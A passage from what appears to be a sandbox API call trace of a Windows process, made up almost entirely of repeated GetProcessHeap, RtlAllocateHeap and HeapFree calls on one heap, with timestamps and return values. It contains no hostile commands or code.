0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.588] GetProcessHeap () returned 0x540000 [0063.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.588] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.589] GetProcessHeap () returned 0x540000 [0063.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.590] GetProcessHeap () returned 0x540000 [0063.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.591] GetProcessHeap () returned 0x540000 [0063.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.591] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.592] GetProcessHeap () returned 0x540000 [0063.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.593] GetProcessHeap () returned 0x540000 [0063.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.593] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.594] GetProcessHeap () returned 0x540000 [0063.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.594] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.595] GetProcessHeap () returned 0x540000 [0063.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.595] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.596] GetProcessHeap () returned 0x540000 [0063.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.597] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x3264668, Size=0x84) returned 0x5ad850 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264668 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x32646b8 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x3264608 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646b8 | out: hHeap=0x540000) returned 1 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646b8 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264608 | out: hHeap=0x540000) returned 1 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x3264608 [0063.597] GetProcessHeap () returned 0x540000 [0063.597] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646b8 | out: hHeap=0x540000) returned 1 [0063.597] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646b8 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264608 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x3264608 [0063.598] 